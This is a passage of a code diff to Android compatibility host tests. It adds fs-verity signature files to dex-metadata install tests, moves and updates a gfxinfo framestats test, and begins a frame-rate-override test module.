             mDmBaseFile = extractResource(DM_BASE, mTmpDir);
+            mDmBaseFsvSigFile = extractResource(DM_BASE + FSV_SIG_SUFFIX , mTmpDir);
             mDmFeatureAFile = extractResource(DM_FEATURE_A, mTmpDir);
+            mDmFeatureAFsvSigFile = extractResource(DM_FEATURE_A + FSV_SIG_SUFFIX, mTmpDir);
             mDmBaseFileWithVdex = extractResource(DM_BASE_WITH_VDEX, mTmpDir);
+            mDmBaseFileWithVdexFsvSig = extractResource(
+                    DM_BASE_WITH_VDEX + FSV_SIG_SUFFIX, mTmpDir);
             mDmFeatureAFileWithVdex = extractResource(DM_FEATURE_A_WITH_VDEX, mTmpDir);
+            mDmFeatureAFileWithVdexFsvSig = extractResource(
+                    DM_FEATURE_A_WITH_VDEX + FSV_SIG_SUFFIX, mTmpDir);
         }
     }
 
@@ -118,7 +142,7 @@
      */
     @Test
     public void testInstallDmForBase() throws Exception {
-        new InstallMultiple().addApk(mApkBaseFile).addDm(mDmBaseFile).run();
+        new InstallMultiple().addApk(mApkBaseFile).addDm(mDmBaseFile, mDmBaseFsvSigFile).run();
         assertNotNull(getDevice().getAppPackageInfo(INSTALL_PACKAGE));
 
         assertTrue(runDeviceTests(TEST_PACKAGE, TEST_CLASS, "testDmForBase"));
@@ -129,8 +153,8 @@
      */
     @Test
     public void testInstallDmForBaseAndSplit() throws Exception {
-        new InstallMultiple().addApk(mApkBaseFile).addDm(mDmBaseFile)
-                .addApk(mApkFeatureAFile).addDm(mDmFeatureAFile).run();
+        new InstallMultiple().addApk(mApkBaseFile).addDm(mDmBaseFile, mDmBaseFsvSigFile)
+                .addApk(mApkFeatureAFile).addDm(mDmFeatureAFile, mDmFeatureAFsvSigFile).run();
         assertNotNull(getDevice().getAppPackageInfo(INSTALL_PACKAGE));
 
         assertTrue(runDeviceTests(TEST_PACKAGE, TEST_CLASS, "testDmForBaseAndSplit"));
@@ -141,7 +165,7 @@
      */
     @Test
     public void testInstallDmForBaseButNoSplit() throws Exception {
-        new InstallMultiple().addApk(mApkBaseFile).addDm(mDmBaseFile)
+        new InstallMultiple().addApk(mApkBaseFile).addDm(mDmBaseFile, mDmBaseFsvSigFile)
                 .addApk(mApkFeatureAFile).run();
         assertNotNull(getDevice().getAppPackageInfo(INSTALL_PACKAGE));
 
@@ -154,7 +178,7 @@
     @Test
     public void testInstallDmForSplitButNoBase() throws Exception {
         new InstallMultiple().addApk(mApkBaseFile)
-                .addApk(mApkFeatureAFile).addDm(mDmFeatureAFile).run();
+                .addApk(mApkFeatureAFile).addDm(mDmFeatureAFile, mDmFeatureAFsvSigFile).run();
         assertNotNull(getDevice().getAppPackageInfo(INSTALL_PACKAGE));
 
         assertTrue(runDeviceTests(TEST_PACKAGE, TEST_CLASS, "testDmForSplitButNoBase"));
@@ -165,8 +189,8 @@
      */
     @Test
     public void testUpdateDm() throws Exception {
-        new InstallMultiple().addApk(mApkBaseFile).addDm(mDmBaseFile)
-                .addApk(mApkFeatureAFile).addDm(mDmFeatureAFile).run();
+        new InstallMultiple().addApk(mApkBaseFile).addDm(mDmBaseFile, mDmBaseFsvSigFile)
+                .addApk(mApkFeatureAFile).addDm(mDmFeatureAFile, mDmFeatureAFsvSigFile).run();
         assertNotNull(getDevice().getAppPackageInfo(INSTALL_PACKAGE));
 
         assertTrue(runDeviceTests(TEST_PACKAGE, TEST_CLASS, "testDmForBaseAndSplit"));
@@ -180,11 +204,12 @@
 
         // Add only a split .dm file during update.
         new InstallMultiple().addArg("-r").addApk(mApkBaseFile)
-                .addApk(mApkFeatureAFile).addDm(mDmFeatureAFile).run();
+                .addApk(mApkFeatureAFile).addDm(mDmFeatureAFile, mDmFeatureAFsvSigFile).run();
         assertNotNull(getDevice().getAppPackageInfo(INSTALL_PACKAGE));
 
         assertTrue(runDeviceTests(TEST_PACKAGE, TEST_CLASS, "testDmForSplitButNoBase"));
     }
+
     /**
      * Verify .dm installation for base but not for splits and with a .dm file that doesn't match
      * an apk.
@@ -194,8 +219,12 @@
         File nonMatchingDm = new File(mDmFeatureAFile.getAbsoluteFile().getAbsolutePath()
                 .replace(".dm", ".not.there.dm"));
         FileUtil.copyFile(mDmFeatureAFile, nonMatchingDm);
-        new InstallMultiple().addApk(mApkBaseFile).addDm(mDmBaseFile)
-                .addApk(mApkFeatureAFile).addDm(nonMatchingDm).run();
+        File nonMatchingDmFsvSig = new File(mDmFeatureAFsvSigFile.getAbsoluteFile()
+                .getAbsolutePath()
+                .replace(".dm" + FSV_SIG_SUFFIX, ".not.there.dm" + FSV_SIG_SUFFIX));
+        FileUtil.copyFile(mDmFeatureAFsvSigFile, nonMatchingDmFsvSig);
+        new InstallMultiple().addApk(mApkBaseFile).addDm(mDmBaseFile, mDmBaseFsvSigFile)
+                .addApk(mApkFeatureAFile).addDm(nonMatchingDm, nonMatchingDmFsvSig).run();
         assertNotNull(getDevice().getAppPackageInfo(INSTALL_PACKAGE));
 
         assertTrue(runDeviceTests(TEST_PACKAGE, TEST_CLASS, "testDmForBaseButNoSplit"));
@@ -228,7 +257,7 @@
         assumeProfilesAreEnabled();
 
         // Install the app.
-        new InstallMultiple().addApk(mApkBaseFile).addDm(mDmBaseFile).run();
+        new InstallMultiple().addApk(mApkBaseFile).addDm(mDmBaseFile, mDmBaseFsvSigFile).run();
 
         // Take a snapshot of the installed profile.
         String snapshotCmd = "cmd package snapshot-profile " + INSTALL_PACKAGE;
@@ -248,7 +277,8 @@
      */
     @Test
     public void testInstallDmForBaseWithVdex() throws Exception {
-        new InstallMultiple().addApk(mApkBaseFileWithVdex).addDm(mDmBaseFileWithVdex).run();
+        new InstallMultiple().addApk(mApkBaseFileWithVdex)
+                .addDm(mDmBaseFileWithVdex, mDmBaseFileWithVdexFsvSig).run();
         assertNotNull(getDevice().getAppPackageInfo(INSTALL_PACKAGE));
 
         assertTrue(runDeviceTests(TEST_PACKAGE, TEST_CLASS, "testDmForBase"));
@@ -259,13 +289,61 @@
      */
     @Test
     public void testInstallDmForBaseAndSplitWithVdex() throws Exception {
-        new InstallMultiple().addApk(mApkBaseFileWithVdex).addDm(mDmBaseFileWithVdex)
-                .addApk(mApkFeatureAFileWithVdex).addDm(mDmFeatureAFileWithVdex).run();
+        new InstallMultiple().addApk(mApkBaseFileWithVdex)
+                .addDm(mDmBaseFileWithVdex, mDmBaseFileWithVdexFsvSig)
+                .addApk(mApkFeatureAFileWithVdex)
+                .addDm(mDmFeatureAFileWithVdex, mDmFeatureAFileWithVdexFsvSig).run();
         assertNotNull(getDevice().getAppPackageInfo(INSTALL_PACKAGE));
 
         assertTrue(runDeviceTests(TEST_PACKAGE, TEST_CLASS, "testDmForBaseAndSplit"));
     }
 
+    /** Verify .dm installation without .fsv_sig for base. */
+    @Test
+    public void testInstallDmFailedWithoutFsvSigForBase() throws Exception {
+        InstallMultiple installer = new InstallMultiple().addApk(mApkBaseFile)
+                .addDm(mDmBaseFile, null);
+        if (mFsVerityRequiredForDm) {
+            installer.runExpectingFailure();
+            assertNull(getDevice().getAppPackageInfo(INSTALL_PACKAGE));
+        } else {
+            installer.run();
+            assertNotNull(getDevice().getAppPackageInfo(INSTALL_PACKAGE));
+            assertTrue(runDeviceTests(TEST_PACKAGE, TEST_CLASS, "testDmForBase"));
+        }
+    }
+
+    /** Verify .dm installation without .fsv_sig for split. */
+    @Test
+    public void testInstallDmWithoutFsvSigForSplit() throws Exception {
+        InstallMultiple installer = new InstallMultiple()
+                .addApk(mApkBaseFile)
+                .addDm(mDmBaseFile, mDmBaseFsvSigFile)
+                .addApk(mApkFeatureAFile)
+                .addDm(mDmFeatureAFile, null);
+        if (mFsVerityRequiredForDm) {
+            installer.runExpectingFailure();
+            assertNull(getDevice().getAppPackageInfo(INSTALL_PACKAGE));
+        } else {
+            installer.run();
+            assertNotNull(getDevice().getAppPackageInfo(INSTALL_PACKAGE));
+            assertTrue(runDeviceTests(TEST_PACKAGE, TEST_CLASS, "testDmForBaseAndSplit"));
+        }
+    }
+
+    /** Verify .dm installation without .fsv_sig for split-only install. */
+    @Test
+    public void testInstallDmWithoutFsvSigForSplitOnlyInstall() throws Exception {
+        new InstallMultiple().addApk(mApkBaseFile).addDm(mDmBaseFile, mDmBaseFsvSigFile).run();
+        assertNotNull(getDevice().getAppPackageInfo(INSTALL_PACKAGE));
+
+        new InstallMultiple()
+                .inheritFrom(TEST_PACKAGE)
+                .addApk(mApkFeatureAFile).addDm(mDmFeatureAFile, null)
+                .runExpectingFailure();
+        assertNotNull(getDevice().getAppPackageInfo(INSTALL_PACKAGE));
+    }
+
     /** Verify that the use of profiles is enabled on the device. */
     private void assumeProfilesAreEnabled() throws Exception {
         String useProfiles = getDevice().executeShellCommand(
diff --git a/hostsidetests/dumpsys/apps/FramestatsTestApp/AndroidManifest.xml b/hostsidetests/dumpsys/apps/FramestatsTestApp/AndroidManifest.xml
index 3a9f902..f5883d4 100644
--- a/hostsidetests/dumpsys/apps/FramestatsTestApp/AndroidManifest.xml
+++ b/hostsidetests/dumpsys/apps/FramestatsTestApp/AndroidManifest.xml
@@ -13,18 +13,20 @@
      See the License for the specific language governing permissions and
      limitations under the License.
 -->
+
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-       package="com.android.cts.framestatstestapp">
+     package="com.android.cts.framestatstestapp">
     <!--
-    A simple app that draws at least one frame. Used by framestats
-    test.
-    -->
+            A simple app that draws at least one frame. Used by framestats
+            test.
+            -->
     <application>
-        <activity android:name=".FramestatsTestAppActivity">
+        <activity android:name=".FramestatsTestAppActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.DEFAULT" />
-                <category android:name="android.intent.category.LAUNCHER" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.DEFAULT"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
             </intent-filter>
         </activity>
     </application>
diff --git a/hostsidetests/dumpsys/src/android/dumpsys/cts/BatteryStatsDumpsysTest.java b/hostsidetests/dumpsys/src/android/dumpsys/cts/BatteryStatsDumpsysTest.java
index e30829c..11f24fa 100755
--- a/hostsidetests/dumpsys/src/android/dumpsys/cts/BatteryStatsDumpsysTest.java
+++ b/hostsidetests/dumpsys/src/android/dumpsys/cts/BatteryStatsDumpsysTest.java
@@ -718,91 +718,4 @@
         assertInteger(parts[13]); // unoptimizedScanMaxTime
         assertInteger(parts[14]); // unoptimizedScanMaxTimeBg
     }
-
-    /**
-     * Tests the output of "dumpsys gfxinfo framestats".
-     *
-     * @throws Exception
-     */
-    public void testGfxinfoFramestats() throws Exception {
-        final String MARKER = "---PROFILEDATA---";
-
-        try {
-            // cleanup test apps that might be installed from previous partial test run
-            getDevice().uninstallPackage(TEST_PKG);
-
-            // install the test app
-            CompatibilityBuildHelper buildHelper = new CompatibilityBuildHelper(mCtsBuild);
-            File testAppFile = buildHelper.getTestFile(TEST_APK);
-            String installResult = getDevice().installPackage(testAppFile, false);
-            assertNull(
-                    String.format("failed to install atrace test app. Reason: %s", installResult),
-                    installResult);
-
-            getDevice().executeShellCommand("am start -W " + TEST_PKG);
-
-            String frameinfo = mDevice.executeShellCommand("dumpsys gfxinfo " +
-                    TEST_PKG + " framestats");
-            assertNotNull(frameinfo);
-            assertTrue(frameinfo.length() > 0);
-            int profileStart = frameinfo.indexOf(MARKER);
-            int profileEnd = frameinfo.indexOf(MARKER, profileStart + 1);
-            assertTrue(profileStart >= 0);
-            assertTrue(profileEnd > profileStart);
-            String profileData = frameinfo.substring(profileStart + MARKER.length(), profileEnd);
-            assertTrue(profileData.length() > 0);
-            validateProfileData(profileData);
-        } finally {
-            getDevice().uninstallPackage(TEST_PKG);
-        }
-    }
-
-    private void validateProfileData(String profileData) throws IOException {
-        final int TIMESTAMP_COUNT = 14;
-        boolean foundAtLeastOneRow = false;
-        try (BufferedReader reader = new BufferedReader(
-                new StringReader(profileData))) {
-            String line;
-            // First line needs to be the headers
-            while ((line = reader.readLine()) != null && line.isEmpty()) {}
-
-            assertNotNull(line);
-            assertTrue("First line was not the expected header",
-                    line.startsWith("Flags,IntendedVsync,Vsync,OldestInputEvent" +
-                            ",NewestInputEvent,HandleInputStart,AnimationStart" +
-                            ",PerformTraversalsStart,DrawStart,SyncQueued,SyncStart" +
-                            ",IssueDrawCommandsStart,SwapBuffers,FrameCompleted"));
-
-            long[] numparts = new long[TIMESTAMP_COUNT];
-            while ((line = reader.readLine()) != null && !line.isEmpty()) {
-
-                String[] parts = line.split(",");
-                assertTrue(parts.length >= TIMESTAMP_COUNT);
-                for (int i = 0; i < TIMESTAMP_COUNT; i++) {
-                    numparts[i] = assertInteger(parts[i]);
-                }
-                // Flags = 1 just means the first frame of the window
-                if (numparts[0] != 0 && numparts[0] != 1) {
-                    continue;
-                }
-                // assert VSYNC >= INTENDED_VSYNC
-                assertTrue(numparts[2] >= numparts[1]);
-                // assert time is flowing forwards, skipping index 3 & 4
-                // as those are input timestamps that may or may not be present
-                assertTrue(numparts[5] >= numparts[2]);
-                for (int i = 6; i < TIMESTAMP_COUNT; i++) {
-                    assertTrue("Index " + i + " did not flow forward, " +
-                            numparts[i] + " not larger than " + numparts[i - 1],
-                            numparts[i] >= numparts[i-1]);
-                }
-                long totalDuration = numparts[13] - numparts[1];
-                assertTrue("Frame did not take a positive amount of time to process",
-                        totalDuration > 0);
-                assertTrue("Bogus frame duration, exceeds 100 seconds",
-                        totalDuration < 100000000000L);
-                foundAtLeastOneRow = true;
-            }
-        }
-        assertTrue(foundAtLeastOneRow);
-    }
 }
diff --git a/hostsidetests/dumpsys/src/android/dumpsys/cts/GfxInfoDumpsysTest.java b/hostsidetests/dumpsys/src/android/dumpsys/cts/GfxInfoDumpsysTest.java
new file mode 100755
index 0000000..c122a86
--- /dev/null
+++ b/hostsidetests/dumpsys/src/android/dumpsys/cts/GfxInfoDumpsysTest.java
@@ -0,0 +1,153 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.dumpsys.cts;
+
+import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
+
+import java.io.BufferedReader;
+import java.io.File;
+import java.io.IOException;
+import java.io.StringReader;
+import java.util.concurrent.TimeUnit;
+
+/**
+ * Test to check the format of the dumps of the gfxinfo.
+ */
+public class GfxInfoDumpsysTest extends BaseDumpsysTest {
+    private static final String TEST_APK = "CtsFramestatsTestApp.apk";
+    private static final String TEST_PKG = "com.android.cts.framestatstestapp";
+
+    /**
+     * Tests the output of "dumpsys gfxinfo framestats".
+     *
+     * @throws Exception
+     */
+    public void testGfxinfoFramestats() throws Exception {
+        final String MARKER = "---PROFILEDATA---";
+
+        try {
+            // cleanup test apps that might be installed from previous partial test run
+            getDevice().uninstallPackage(TEST_PKG);
+
+            // install the test app
+            CompatibilityBuildHelper buildHelper = new CompatibilityBuildHelper(mCtsBuild);
+            File testAppFile = buildHelper.getTestFile(TEST_APK);
+            String installResult = getDevice().installPackage(testAppFile, false);
+            assertNull(
+                    String.format("failed to install atrace test app. Reason: %s", installResult),
+                    installResult);
+
+            getDevice().executeShellCommand("am start -W " + TEST_PKG);
+
+            String frameinfo = mDevice.executeShellCommand("dumpsys gfxinfo " +
+                    TEST_PKG + " framestats");
+            assertNotNull(frameinfo);
+            assertTrue(frameinfo.length() > 0);
+            int profileStart = frameinfo.indexOf(MARKER);
+            int profileEnd = frameinfo.indexOf(MARKER, profileStart + 1);
+            assertTrue(profileStart >= 0);
+            assertTrue(profileEnd > profileStart);
+            String profileData = frameinfo.substring(profileStart + MARKER.length(), profileEnd);
+            assertTrue(profileData.length() > 0);
+            validateProfileData(profileData);
+        } finally {
+            getDevice().uninstallPackage(TEST_PKG);
+        }
+    }
+
+    private void validateProfileData(String profileData) throws IOException {
+        final int TIMESTAMP_COUNT = 16;
+        boolean foundAtLeastOneRow = false;
+        try (BufferedReader reader = new BufferedReader(
+                new StringReader(profileData))) {
+            String line;
+            // First line needs to be the headers
+            while ((line = reader.readLine()) != null && line.isEmpty()) {}
+
+            assertNotNull(line);
+            assertTrue("First line was not the expected header",
+                    line.startsWith("Flags,FrameTimelineVsyncId,IntendedVsync,Vsync"
+                            + ",InputEventId,HandleInputStart"
+                            + ",AnimationStart,PerformTraversalsStart,DrawStart,FrameDeadline"
+                            + ",SyncQueued,SyncStart,IssueDrawCommandsStart,SwapBuffers"
+                            + ",FrameCompleted,DequeueBufferDuration,QueueBufferDuration"
+                            + ",GpuCompleted,SwapBuffersCompleted,DisplayPresentTime"));
+
+            long[] numparts = new long[TIMESTAMP_COUNT];
+            while ((line = reader.readLine()) != null && !line.isEmpty()) {
+
+                String[] parts = line.split(",");
+                assertTrue(parts.length >= TIMESTAMP_COUNT);
+                for (int i = 0; i < TIMESTAMP_COUNT; i++) {
+                    numparts[i] = assertInteger(parts[i]);
+                }
+
+                final long flags = numparts[0];
+                // Flags = 1 just means the first frame of the window
+                if (flags != 0 && flags != 1) {
+                    continue;
+                }
+
+                final long timestampIntendedVsync = numparts[2];
+                final long timestampVsync = numparts[3];
+                // skip InputEventId, since it's a randomly assigned id
+                final long timestampHandleInputStart = numparts[5];
+                final long timestampAnimationStart = numparts[6];
+                final long timestampPerformTraversalsStart = numparts[7];
+                final long timestampDrawStart = numparts[8];
+                // skip FrameDeadline
+                final long timestampSyncQueued = numparts[10];
+                final long timestampSyncStart = numparts[11];
+                final long timestampIssueDrawCommandsStart = numparts[12];
+                final long timestampSwapBuffers = numparts[13];
+                final long timestampFrameCompleted = numparts[14];
+
+                // assert time is flowing forwards. we need to check each entry explicitly
+                // as some entries do not represent a flow of events.
+                assertTrue("VSYNC happened before INTENDED_VSYNC",
+                        timestampVsync >= timestampIntendedVsync);
+                assertTrue("HandleInputStart happened before VSYNC",
+                        timestampHandleInputStart >= timestampVsync);
+                assertTrue("AnimationStart happened before HandleInputStart",
+                        timestampAnimationStart >= timestampHandleInputStart);
+                assertTrue("PerformTraversalsStart happened before AnimationStart",
+                        timestampPerformTraversalsStart >= timestampAnimationStart);
+                assertTrue("DrawStart happened before PerformTraversalsStart",
+                        timestampDrawStart >= timestampPerformTraversalsStart);
+                assertTrue("SyncQueued happened before DrawStart",
+                        timestampSyncQueued >= timestampDrawStart);
+                assertTrue("SyncStart happened before SyncQueued",
+                        timestampSyncStart >= timestampSyncQueued);
+                assertTrue("IssueDrawCommandsStart happened before SyncStart",
+                        timestampIssueDrawCommandsStart >= timestampSyncStart);
+                assertTrue("SwapBuffers happened before IssueDrawCommandsStart",
+                        timestampSwapBuffers >= timestampIssueDrawCommandsStart);
+                assertTrue("FrameCompleted happened before SwapBuffers",
+                        timestampFrameCompleted >= timestampSwapBuffers);
+
+                // total duration is from IntendedVsync to FrameCompleted
+                long totalDuration = timestampFrameCompleted - timestampIntendedVsync;
+                assertTrue("Frame did not take a positive amount of time to process",
+                        totalDuration > 0);
+                assertTrue("Bogus frame duration, exceeds 100 seconds",
+                        totalDuration < TimeUnit.SECONDS.toNanos(100));
+                foundAtLeastOneRow = true;
+            }
+        }
+        assertTrue(foundAtLeastOneRow);
+    }
+}
diff --git a/hostsidetests/gputools/apps/AndroidManifest.xml b/hostsidetests/gputools/apps/AndroidManifest.xml
index a4fd8dc..89ecaf8 100755
--- a/hostsidetests/gputools/apps/AndroidManifest.xml
+++ b/hostsidetests/gputools/apps/AndroidManifest.xml
@@ -16,17 +16,16 @@
  -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.rootlessgpudebug.app">
+     package="android.rootlessgpudebug.app">
 
-    <application android:extractNativeLibs="true" >
-        <activity android:name=".RootlessGpuDebugDeviceActivity" >
+    <application android:extractNativeLibs="true">
+        <activity android:name=".RootlessGpuDebugDeviceActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.LAUNCHER" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
             </intent-filter>
         </activity>
     </application>
 
 </manifest>
-
-
diff --git a/hostsidetests/gputools/apps/inject/AndroidManifest.xml b/hostsidetests/gputools/apps/inject/AndroidManifest.xml
index e16aedb..63bd9c1 100644
--- a/hostsidetests/gputools/apps/inject/AndroidManifest.xml
+++ b/hostsidetests/gputools/apps/inject/AndroidManifest.xml
@@ -16,18 +16,18 @@
  -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.rootlessgpudebug.app">
+     package="android.rootlessgpudebug.app">
 
-    <application android:extractNativeLibs="true" >
-        <meta-data android:name="com.android.graphics.injectLayers.enable" android:value="true"/>
-        <activity android:name=".RootlessGpuDebugDeviceActivity" >
+    <application android:extractNativeLibs="true">
+        <meta-data android:name="com.android.graphics.injectLayers.enable"
+             android:value="true"/>
+        <activity android:name=".RootlessGpuDebugDeviceActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.LAUNCHER" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
             </intent-filter>
         </activity>
     </application>
 
 </manifest>
-
-
diff --git a/hostsidetests/graphics/framerateoverride/Android.bp b/hostsidetests/graphics/framerateoverride/Android.bp
new file mode 100644
index 0000000..4a4631e
--- /dev/null
+++ b/hostsidetests/graphics/framerateoverride/Android.bp
@@ -0,0 +1,35 @@
+// Copyright (C) 2020 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+java_test_host {
+    name: "CtsFrameRateOverrideTestCases",
+    defaults: ["cts_defaults"],
+    srcs: ["src/**/*.java"],
+    libs: [
+        "cts-tradefed",
+        "tradefed",
+        "guava",
+    ],
+    static_libs:["CompatChangeGatingTestBase"],
+    // tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "general-tests",
+    ],
+    java_resources: [":cts-global-compat-config"],
+}
diff --git a/hostsidetests/graphics/framerateoverride/AndroidTest.xml b/hostsidetests/graphics/framerateoverride/AndroidTest.xml
new file mode 100644
index 0000000..1b673fc
--- /dev/null
+++ b/hostsidetests/graphics/framerateoverride/AndroidTest.xml
@@ -0,0 +1,26 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Config for CTS framerateoverride host test cases">
+    <option name="test-suite-tag" value="cts" />
+    <option name="config-descriptor:metadata" key="component" value="framework" />
+    <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+
+    <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
+        <option name="jar" value="CtsFrameRateOverrideTestCases.jar" />
+    </test>
+</configuration>
diff --git a/hostsidetests/graphics/framerateoverride/OWNERS b/hostsidetests/graphics/framerateoverride/OWNERS
new file mode 100644
index 0000000..0e1e92c
--- /dev/null
+++ b/hostsidetests/graphics/framerateoverride/OWNERS
@@ -0,0 +1,4 @@
+# Bug component: 25423
+adyabr@google.com
+stoza@google.com
+
diff --git a/hostsidetests/graphics/framerateoverride/TEST_MAPPING b/hostsidetests/graphics/framerateoverride/TEST_MAPPING
new file mode 100644
index 0000000..c9825c6
--- /dev/null
+++ b/hostsidetests/graphics/framerateoverride/TEST_MAPPING
@@ -0,0 +1,8 @@
+{
+  "presubmit": [
+    {
+      "name": "CtsFrameRateOverrideTestCases"
+    }
+  ]
+}
+
diff --git a/hostsidetests/graphics/framerateoverride/app/Android.bp b/hostsidetests/graphics/framerateoverride/app/Android.bp
new file mode 100644
index 0000000..8b42edb
--- /dev/null
+++ b/hostsidetests/graphics/framerateoverride/app/Android.bp
@@ -0,0 +1,49 @@
+//
+// Copyright (C) 2020 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+android_test_helper_app {
+    name: "CtsHostsideFrameRateOverrideTestsApp",
+    defaults: ["cts_support_defaults"],
+    platform_apis: true,
+    srcs: ["src/**/*.java"],
+    libs: [
+        "junit",
+    ],
+    static_libs: [
+        "androidx.annotation_annotation",
+        "androidx.core_core",
+        "androidx.test.rules",
+        "compatibility-device-util-axt",
+        "ctsdeviceutillegacy-axt",
+        "ctstestrunner-axt",
+        "junit",
+        "junit-params",
+        "mockito-target-minus-junit4",
+        "SurfaceFlingerProperties",
+        "testng",
+        "truth-prebuilt",
+    ],
+
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "general-tests",
+    ],
+}
diff --git a/hostsidetests/graphics/framerateoverride/app/AndroidManifest.xml b/hostsidetests/graphics/framerateoverride/app/AndroidManifest.xml
new file mode 100644
index 0000000..97f4d9a
--- /dev/null
+++ b/hostsidetests/graphics/framerateoverride/app/AndroidManifest.xml
@@ -0,0 +1,41 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+        package="com.android.cts.graphics.framerateoverride">
+    <!-- targetSdkVersion for this test must be below 30 -->
+    <uses-sdk android:targetSdkVersion="30"/>
+    <application
+        android:debuggable="true">
+        <uses-library android:name="android.test.runner" />
+
+        <activity
+            android:name="com.android.cts.graphics.framerateoverride.FrameRateOverrideTestActivity"
+            android:label="FrameRateCtsActivity"
+            android:exported="true">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
+            </intent-filter>
+        </activity>
+
+    </application>
+
+    <instrumentation
+        android:name="androidx.test.runner.AndroidJUnitRunner"
+        android:targetPackage="com.android.cts.graphics.framerateoverride" />
+
+</manifest>
diff --git a/hostsidetests/graphics/framerateoverride/app/src/com/android/cts/graphics/framerateoverride/FrameRateOverrideTest.java b/hostsidetests/graphics/framerateoverride/app/src/com/android/cts/graphics/framerateoverride/FrameRateOverrideTest.java
new file mode 100644
index 0000000..3ae0e71
--- /dev/null
+++ b/hostsidetests/graphics/framerateoverride/app/src/com/android/cts/graphics/framerateoverride/FrameRateOverrideTest.java
@@ -0,0 +1,231 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.graphics.framerateoverride;
+
+import android.Manifest;
+import android.app.compat.CompatChanges;
+import android.hardware.display.DisplayManager;
+import android.os.Handler;
+import android.os.Looper;
+import android.support.test.uiautomator.UiDevice;
+import android.sysprop.SurfaceFlingerProperties;
+import android.util.Log;
+import android.view.Display;
+import android.view.Window;
+import android.view.WindowManager;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
+import com.android.cts.graphics.framerateoverride.FrameRateOverrideTestActivity.FrameRateObserver;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.ArrayList;
+import java.util.List;
+
+/**
+ * Tests for frame rate override and the behaviour of {@link Display#getRefreshRate()} and
+ * {@link Display.Mode#getRefreshRate()} Api.
+ */
+@RunWith(AndroidJUnit4.class)
